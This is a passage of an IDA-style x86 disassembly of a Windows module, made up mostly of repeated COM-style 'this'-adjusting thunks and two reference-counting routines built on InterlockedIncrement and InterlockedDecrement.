		jmp	sub_69B51EA2
; ---------------------------------------------------------------------------


loc_69B52BD4:				; DATA XREF: .text:69B28530o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51EC4
; ---------------------------------------------------------------------------


loc_69B52BDE:				; DATA XREF: .text:69B28534o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B52204
; ---------------------------------------------------------------------------


loc_69B52BE8:				; DATA XREF: .text:69B28538o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51F03
; ---------------------------------------------------------------------------


loc_69B52BF2:				; DATA XREF: .text:69B2853Co
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51F17
; ---------------------------------------------------------------------------


loc_69B52BFC:				; DATA XREF: .text:69B28540o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51EEF
; ---------------------------------------------------------------------------


loc_69B52C06:				; DATA XREF: .text:69B28544o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51F38
; ---------------------------------------------------------------------------


loc_69B52C10:				; DATA XREF: .text:69B28548o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51F4C
; ---------------------------------------------------------------------------


loc_69B52C1A:				; DATA XREF: .text:69B2854Co
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51F60
; ---------------------------------------------------------------------------


loc_69B52C24:				; DATA XREF: .text:69B28550o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51F74
; ---------------------------------------------------------------------------


loc_69B52C2E:				; DATA XREF: .text:69B28554o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51F88
; ---------------------------------------------------------------------------


loc_69B52C38:				; DATA XREF: .text:69B28558o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51F9C
; ---------------------------------------------------------------------------


loc_69B52C42:				; DATA XREF: .text:69B2855Co
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B52025
; ---------------------------------------------------------------------------


loc_69B52C4C:				; DATA XREF: .text:69B28560o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51FB0
; ---------------------------------------------------------------------------


loc_69B52C56:				; DATA XREF: .text:69B28564o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51FD9
; ---------------------------------------------------------------------------


loc_69B52C60:				; DATA XREF: .text:69B28568o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B51FF5
; ---------------------------------------------------------------------------


loc_69B52C6A:				; DATA XREF: .text:69B2856Co
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B5200D
; ---------------------------------------------------------------------------


loc_69B52C74:				; DATA XREF: .text:69B28570o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B52039
; ---------------------------------------------------------------------------


loc_69B52C7E:				; DATA XREF: .text:69B28578o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B5204D
; ---------------------------------------------------------------------------


loc_69B52C88:				; DATA XREF: .text:69B2857Co
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B52065
; ---------------------------------------------------------------------------


loc_69B52C92:				; DATA XREF: .text:69B28580o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B52079
; ---------------------------------------------------------------------------


loc_69B52C9C:				; DATA XREF: .text:69B28584o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B5208D
; ---------------------------------------------------------------------------


loc_69B52CA6:				; DATA XREF: .text:69B28588o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B5222F
; ---------------------------------------------------------------------------


loc_69B52CB0:				; DATA XREF: .text:69B2858Co
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B520A1
; ---------------------------------------------------------------------------


loc_69B52CBA:				; DATA XREF: .text:69B28590o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B520B5
; ---------------------------------------------------------------------------


loc_69B52CC4:				; DATA XREF: .text:69B28594o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B520C9
; ---------------------------------------------------------------------------


loc_69B52CCE:				; DATA XREF: .text:69B28598o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B520EA
; ---------------------------------------------------------------------------


loc_69B52CD8:				; DATA XREF: .text:69B2859Co
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B52101
; ---------------------------------------------------------------------------


loc_69B52CE2:				; DATA XREF: .text:69B285A0o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B52118
; ---------------------------------------------------------------------------


loc_69B52CEC:				; DATA XREF: .text:69B285A4o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B5212F
; ---------------------------------------------------------------------------


loc_69B52CF6:				; DATA XREF: .text:69B285A8o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B5214A
; ---------------------------------------------------------------------------


loc_69B52D00:				; DATA XREF: .text:69B285ACo
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B52165
; ---------------------------------------------------------------------------


loc_69B52D0A:				; DATA XREF: .text:69B285B0o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B52180
; ---------------------------------------------------------------------------


loc_69B52D14:				; DATA XREF: .text:69B285B4o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B52197
; ---------------------------------------------------------------------------


loc_69B52D1E:				; DATA XREF: .text:69B285B8o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B521AE
; ---------------------------------------------------------------------------


loc_69B52D28:				; DATA XREF: .text:69B285BCo
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B521C5
; ---------------------------------------------------------------------------


loc_69B52D32:				; DATA XREF: .text:69B285C0o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B521DC
; ---------------------------------------------------------------------------


loc_69B52D3C:				; DATA XREF: .text:off_69B28460o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51E5B
; ---------------------------------------------------------------------------


loc_69B52D46:				; DATA XREF: .text:69B2846Co
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51E72
; ---------------------------------------------------------------------------


loc_69B52D50:				; DATA XREF: .text:69B28470o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51E86
; ---------------------------------------------------------------------------


loc_69B52D5A:				; DATA XREF: .text:69B28474o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51EA2
; ---------------------------------------------------------------------------


loc_69B52D64:				; DATA XREF: .text:69B28478o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51EC4
; ---------------------------------------------------------------------------


loc_69B52D6E:				; DATA XREF: .text:69B2847Co
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B52204
; ---------------------------------------------------------------------------


loc_69B52D78:				; DATA XREF: .text:69B28480o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51F03
; ---------------------------------------------------------------------------


loc_69B52D82:				; DATA XREF: .text:69B28484o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51F17
; ---------------------------------------------------------------------------


loc_69B52D8C:				; DATA XREF: .text:69B28488o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51EEF
; ---------------------------------------------------------------------------


loc_69B52D96:				; DATA XREF: .text:69B2848Co
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51F38
; ---------------------------------------------------------------------------


loc_69B52DA0:				; DATA XREF: .text:69B28490o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51F4C
; ---------------------------------------------------------------------------


loc_69B52DAA:				; DATA XREF: .text:69B28494o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51F60
; ---------------------------------------------------------------------------


loc_69B52DB4:				; DATA XREF: .text:69B28498o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51F74
; ---------------------------------------------------------------------------


loc_69B52DBE:				; DATA XREF: .text:69B2849Co
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51F88
; ---------------------------------------------------------------------------


loc_69B52DC8:				; DATA XREF: .text:69B284A0o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51F9C
; ---------------------------------------------------------------------------


loc_69B52DD2:				; DATA XREF: .text:69B284A4o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B52025
; ---------------------------------------------------------------------------


loc_69B52DDC:				; DATA XREF: .text:69B284A8o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51FB0
; ---------------------------------------------------------------------------


loc_69B52DE6:				; DATA XREF: .text:69B284ACo
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51FD9
; ---------------------------------------------------------------------------


loc_69B52DF0:				; DATA XREF: .text:69B284B0o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B51FF5
; ---------------------------------------------------------------------------


loc_69B52DFA:				; DATA XREF: .text:69B284B4o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B5200D
; ---------------------------------------------------------------------------


loc_69B52E04:				; DATA XREF: .text:69B284B8o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B52039
; ---------------------------------------------------------------------------


loc_69B52E0E:				; DATA XREF: .text:69B284C0o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B5204D
; ---------------------------------------------------------------------------


loc_69B52E18:				; DATA XREF: .text:69B284C4o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B52065
; ---------------------------------------------------------------------------


loc_69B52E22:				; DATA XREF: .text:69B284C8o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B52079
; ---------------------------------------------------------------------------


loc_69B52E2C:				; DATA XREF: .text:69B284CCo
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B5208D
; ---------------------------------------------------------------------------


loc_69B52E36:				; DATA XREF: .text:69B284D0o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B5222F
; ---------------------------------------------------------------------------


loc_69B52E40:				; DATA XREF: .text:69B284D4o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B520A1
; ---------------------------------------------------------------------------


loc_69B52E4A:				; DATA XREF: .text:69B284D8o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B520B5
; ---------------------------------------------------------------------------


loc_69B52E54:				; DATA XREF: .text:69B284DCo
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B520C9
; ---------------------------------------------------------------------------


loc_69B52E5E:				; DATA XREF: .text:69B284E0o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B520EA
; ---------------------------------------------------------------------------


loc_69B52E68:				; DATA XREF: .text:69B284E4o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B52101
; ---------------------------------------------------------------------------


loc_69B52E72:				; DATA XREF: .text:69B284E8o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B52118
; ---------------------------------------------------------------------------


loc_69B52E7C:				; DATA XREF: .text:69B284ECo
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B5212F
; ---------------------------------------------------------------------------


loc_69B52E86:				; DATA XREF: .text:69B284F0o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B5214A
; ---------------------------------------------------------------------------


loc_69B52E90:				; DATA XREF: .text:69B284F4o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B52165
; ---------------------------------------------------------------------------


loc_69B52E9A:				; DATA XREF: .text:69B284F8o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B52180
; ---------------------------------------------------------------------------


loc_69B52EA4:				; DATA XREF: .text:69B284FCo
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B52197
; ---------------------------------------------------------------------------


loc_69B52EAE:				; DATA XREF: .text:69B28500o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B521AE
; ---------------------------------------------------------------------------


loc_69B52EB8:				; DATA XREF: .text:69B28504o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B521C5
; ---------------------------------------------------------------------------


loc_69B52EC2:				; DATA XREF: .text:69B28508o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B521DC
; ---------------------------------------------------------------------------


loc_69B52ECC:				; DATA XREF: .text:off_69B283B0o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51E5B
; ---------------------------------------------------------------------------


loc_69B52ED6:				; DATA XREF: .text:69B283BCo
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51E72
; ---------------------------------------------------------------------------


loc_69B52EE0:				; DATA XREF: .text:69B283C0o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51E86
; ---------------------------------------------------------------------------


loc_69B52EEA:				; DATA XREF: .text:69B283C4o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51EA2
; ---------------------------------------------------------------------------


loc_69B52EF4:				; DATA XREF: .text:69B283C8o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51EC4
; ---------------------------------------------------------------------------


loc_69B52EFE:				; DATA XREF: .text:69B283CCo
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B52204
; ---------------------------------------------------------------------------


loc_69B52F08:				; DATA XREF: .text:69B283D0o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51F03
; ---------------------------------------------------------------------------


loc_69B52F12:				; DATA XREF: .text:69B283D4o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51F17
; ---------------------------------------------------------------------------


loc_69B52F1C:				; DATA XREF: .text:69B283D8o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51EEF
; ---------------------------------------------------------------------------


loc_69B52F26:				; DATA XREF: .text:69B283DCo
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51F38
; ---------------------------------------------------------------------------


loc_69B52F30:				; DATA XREF: .text:69B283E0o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51F4C
; ---------------------------------------------------------------------------


loc_69B52F3A:				; DATA XREF: .text:69B283E4o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51F60
; ---------------------------------------------------------------------------


loc_69B52F44:				; DATA XREF: .text:69B283E8o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51F74
; ---------------------------------------------------------------------------


loc_69B52F4E:				; DATA XREF: .text:69B283ECo
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51F88
; ---------------------------------------------------------------------------


loc_69B52F58:				; DATA XREF: .text:69B283F0o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51F9C
; ---------------------------------------------------------------------------


loc_69B52F62:				; DATA XREF: .text:69B283F4o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B52025
; ---------------------------------------------------------------------------


loc_69B52F6C:				; DATA XREF: .text:69B283F8o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51FB0
; ---------------------------------------------------------------------------


loc_69B52F76:				; DATA XREF: .text:69B283FCo
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51FD9
; ---------------------------------------------------------------------------


loc_69B52F80:				; DATA XREF: .text:69B28400o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B51FF5
; ---------------------------------------------------------------------------


loc_69B52F8A:				; DATA XREF: .text:69B28404o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B5200D
; ---------------------------------------------------------------------------


loc_69B52F94:				; DATA XREF: .text:69B28408o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B52039
; ---------------------------------------------------------------------------


loc_69B52F9E:				; DATA XREF: .text:69B28410o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B5204D
; ---------------------------------------------------------------------------


loc_69B52FA8:				; DATA XREF: .text:69B28414o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B52065
; ---------------------------------------------------------------------------


loc_69B52FB2:				; DATA XREF: .text:69B28418o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B52079
; ---------------------------------------------------------------------------


loc_69B52FBC:				; DATA XREF: .text:69B2841Co
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B5208D
; ---------------------------------------------------------------------------


loc_69B52FC6:				; DATA XREF: .text:69B28420o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B5222F
; ---------------------------------------------------------------------------


loc_69B52FD0:				; DATA XREF: .text:69B28424o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B520A1
; ---------------------------------------------------------------------------


loc_69B52FDA:				; DATA XREF: .text:69B28428o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B520B5
; ---------------------------------------------------------------------------


loc_69B52FE4:				; DATA XREF: .text:69B2842Co
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B520C9
; ---------------------------------------------------------------------------


loc_69B52FEE:				; DATA XREF: .text:69B28430o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B520EA
; ---------------------------------------------------------------------------


loc_69B52FF8:				; DATA XREF: .text:69B28434o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B52101
; ---------------------------------------------------------------------------


loc_69B53002:				; DATA XREF: .text:69B28438o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B52118
; ---------------------------------------------------------------------------


loc_69B5300C:				; DATA XREF: .text:69B2843Co
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B5212F
; ---------------------------------------------------------------------------


loc_69B53016:				; DATA XREF: .text:69B28440o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B5214A
; ---------------------------------------------------------------------------


loc_69B53020:				; DATA XREF: .text:69B28444o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B52165
; ---------------------------------------------------------------------------


loc_69B5302A:				; DATA XREF: .text:69B28448o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B52180
; ---------------------------------------------------------------------------


loc_69B53034:				; DATA XREF: .text:69B2844Co
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B52197
; ---------------------------------------------------------------------------


loc_69B5303E:				; DATA XREF: .text:69B28450o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B521AE
; ---------------------------------------------------------------------------


loc_69B53048:				; DATA XREF: .text:69B28454o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B521C5
; ---------------------------------------------------------------------------


loc_69B53052:				; DATA XREF: .text:69B28458o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B521DC
; ---------------------------------------------------------------------------


loc_69B5305C:				; DATA XREF: .text:off_69B282F8o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51E5B
; ---------------------------------------------------------------------------


loc_69B53066:				; DATA XREF: .text:69B28304o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51E72
; ---------------------------------------------------------------------------


loc_69B53070:				; DATA XREF: .text:69B28308o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51E86
; ---------------------------------------------------------------------------


loc_69B5307A:				; DATA XREF: .text:69B2830Co
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51EA2
; ---------------------------------------------------------------------------


loc_69B53084:				; DATA XREF: .text:69B28310o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51EC4
; ---------------------------------------------------------------------------


loc_69B5308E:				; DATA XREF: .text:69B28314o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B52204
; ---------------------------------------------------------------------------


loc_69B53098:				; DATA XREF: .text:69B28318o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51F03
; ---------------------------------------------------------------------------


loc_69B530A2:				; DATA XREF: .text:69B2831Co
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51F17
; ---------------------------------------------------------------------------


loc_69B530AC:				; DATA XREF: .text:69B28320o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51EEF
; ---------------------------------------------------------------------------


loc_69B530B6:				; DATA XREF: .text:69B28324o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51F38
; ---------------------------------------------------------------------------


loc_69B530C0:				; DATA XREF: .text:69B28328o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51F4C
; ---------------------------------------------------------------------------


loc_69B530CA:				; DATA XREF: .text:69B2832Co
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51F60
; ---------------------------------------------------------------------------


loc_69B530D4:				; DATA XREF: .text:69B28330o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51F74
; ---------------------------------------------------------------------------


loc_69B530DE:				; DATA XREF: .text:69B28334o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51F88
; ---------------------------------------------------------------------------


loc_69B530E8:				; DATA XREF: .text:69B28338o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51F9C
; ---------------------------------------------------------------------------


loc_69B530F2:				; DATA XREF: .text:69B2833Co
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B52025
; ---------------------------------------------------------------------------


loc_69B530FC:				; DATA XREF: .text:69B28340o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51FB0
; ---------------------------------------------------------------------------


loc_69B53106:				; DATA XREF: .text:69B28344o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51FD9
; ---------------------------------------------------------------------------


loc_69B53110:				; DATA XREF: .text:69B28348o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B51FF5
; ---------------------------------------------------------------------------


loc_69B5311A:				; DATA XREF: .text:69B2834Co
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B5200D
; ---------------------------------------------------------------------------


loc_69B53124:				; DATA XREF: .text:69B28350o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B52039
; ---------------------------------------------------------------------------


loc_69B5312E:				; DATA XREF: .text:69B28358o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B5204D
; ---------------------------------------------------------------------------


loc_69B53138:				; DATA XREF: .text:69B2835Co
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B52065
; ---------------------------------------------------------------------------


loc_69B53142:				; DATA XREF: .text:69B28360o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B52079
; ---------------------------------------------------------------------------


loc_69B5314C:				; DATA XREF: .text:69B28364o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B5208D
; ---------------------------------------------------------------------------


loc_69B53156:				; DATA XREF: .text:69B28368o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B5222F
; ---------------------------------------------------------------------------


loc_69B53160:				; DATA XREF: .text:69B2836Co
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B520A1
; ---------------------------------------------------------------------------


loc_69B5316A:				; DATA XREF: .text:69B28370o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B520B5
; ---------------------------------------------------------------------------


loc_69B53174:				; DATA XREF: .text:69B28374o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B520C9
; ---------------------------------------------------------------------------


loc_69B5317E:				; DATA XREF: .text:69B28378o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B520EA
; ---------------------------------------------------------------------------


loc_69B53188:				; DATA XREF: .text:69B2837Co
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B52101
; ---------------------------------------------------------------------------


loc_69B53192:				; DATA XREF: .text:69B28380o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B52118
; ---------------------------------------------------------------------------


loc_69B5319C:				; DATA XREF: .text:69B28384o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B5212F
; ---------------------------------------------------------------------------


loc_69B531A6:				; DATA XREF: .text:69B28388o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B5214A
; ---------------------------------------------------------------------------


loc_69B531B0:				; DATA XREF: .text:69B2838Co
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B52165
; ---------------------------------------------------------------------------


loc_69B531BA:				; DATA XREF: .text:69B28390o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B52180
; ---------------------------------------------------------------------------


loc_69B531C4:				; DATA XREF: .text:69B28394o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B52197
; ---------------------------------------------------------------------------


loc_69B531CE:				; DATA XREF: .text:69B28398o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B521AE
; ---------------------------------------------------------------------------


loc_69B531D8:				; DATA XREF: .text:69B2839Co
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B521C5
; ---------------------------------------------------------------------------


loc_69B531E2:				; DATA XREF: .text:69B283A0o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B521DC
; ---------------------------------------------------------------------------


loc_69B531EC:				; DATA XREF: .text:69B283A4o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B5232D

; =============== S U B	R O U T	I N E =======================================



sub_69B531F6	proc near		; CODE XREF: sub_69B538B4+B0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	1
		push	1
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_69B4C674
		retn	8
sub_69B531F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5320E	proc near		; CODE XREF: .text:69B53274j
					; .text:69B5327Bj ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B53228
		mov	eax, 80004005h
		jmp	short loc_69B5326A
; ---------------------------------------------------------------------------


loc_69B53228:				; CODE XREF: sub_69B5320E+11j
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+2Ch]
		add	ecx, 0Ch
		call	sub_69B87FDC
		push	eax
		push	edi
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		lea	eax, [esi+28h]
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		mov	esi, [esi+2Ch]
		mov	ebx, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		pop	esi
		mov	eax, ebx
		pop	ebx


loc_69B5326A:				; CODE XREF: sub_69B5320E+18j
		pop	edi
		leave
		retn	4
sub_69B5320E	endp

; ---------------------------------------------------------------------------


loc_69B5326F:				; DATA XREF: .text:69B288DCo
		sub	dword ptr [esp+4], 4
		jmp	short sub_69B5320E
; ---------------------------------------------------------------------------


loc_69B53276:				; DATA XREF: .text:69B28824o
		sub	dword ptr [esp+4], 8
		jmp	short sub_69B5320E
; ---------------------------------------------------------------------------


loc_69B5327D:				; DATA XREF: .text:69B28754o
		sub	dword ptr [esp+4], 0Ch
		jmp	short sub_69B5320E
; ---------------------------------------------------------------------------


loc_69B53284:				; DATA XREF: .text:69B28684o
		sub	dword ptr [esp+4], 10h
		jmp	short sub_69B5320E
; ---------------------------------------------------------------------------


loc_69B5328B:				; DATA XREF: .text:69B285D4o
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B5320E
; ---------------------------------------------------------------------------


loc_69B53295:				; DATA XREF: .text:69B2851Co
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B5320E
; ---------------------------------------------------------------------------


loc_69B5329F:				; DATA XREF: .text:69B28464o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B5320E
; ---------------------------------------------------------------------------


loc_69B532A9:				; DATA XREF: .text:69B283B4o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B5320E
; ---------------------------------------------------------------------------


loc_69B532B3:				; DATA XREF: .text:69B282FCo
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B5320E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B532BD	proc near		; CODE XREF: .text:69B53336j
					; .text:69B5333Dj ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B532D7
		mov	eax, 80004005h
		jmp	short loc_69B5332C
; ---------------------------------------------------------------------------


loc_69B532D7:				; CODE XREF: sub_69B532BD+11j
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+2Ch]
		push	edi
		add	ecx, 0Ch
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		lea	eax, [esi+28h]
		push	eax		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B53310
		mov	ecx, esi
		call	sub_69B51E15
		push	esi
		call	sub_69B1B2B7
		jmp	short loc_69B53319
; ---------------------------------------------------------------------------


loc_69B53310:				; CODE XREF: sub_69B532BD+42j
		mov	esi, [esi+2Ch]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B53319:				; CODE XREF: sub_69B532BD+51j
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		mov	eax, edi
		pop	edi
		pop	esi


loc_69B5332C:				; CODE XREF: sub_69B532BD+18j
		pop	ebx
		leave
		retn	4
sub_69B532BD	endp

; ---------------------------------------------------------------------------


loc_69B53331:				; DATA XREF: .text:69B288E0o
		sub	dword ptr [esp+4], 4
		jmp	short sub_69B532BD
; ---------------------------------------------------------------------------


loc_69B53338:				; DATA XREF: .text:69B28828o
		sub	dword ptr [esp+4], 8
		jmp	sub_69B532BD
; ---------------------------------------------------------------------------


loc_69B53342:				; DATA XREF: .text:69B28758o
		sub	dword ptr [esp+4], 0Ch
		jmp	sub_69B532BD
; ---------------------------------------------------------------------------


loc_69B5334C:				; DATA XREF: .text:69B28688o
		sub	dword ptr [esp+4], 10h
		jmp	sub_69B532BD
; ---------------------------------------------------------------------------


loc_69B53356:				; DATA XREF: .text:69B285D8o
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B532BD
; ---------------------------------------------------------------------------


loc_69B53360:				; DATA XREF: .text:69B28520o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B532BD
; ---------------------------------------------------------------------------


loc_69B5336A:				; DATA XREF: .text:69B28468o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B532BD
; ---------------------------------------------------------------------------


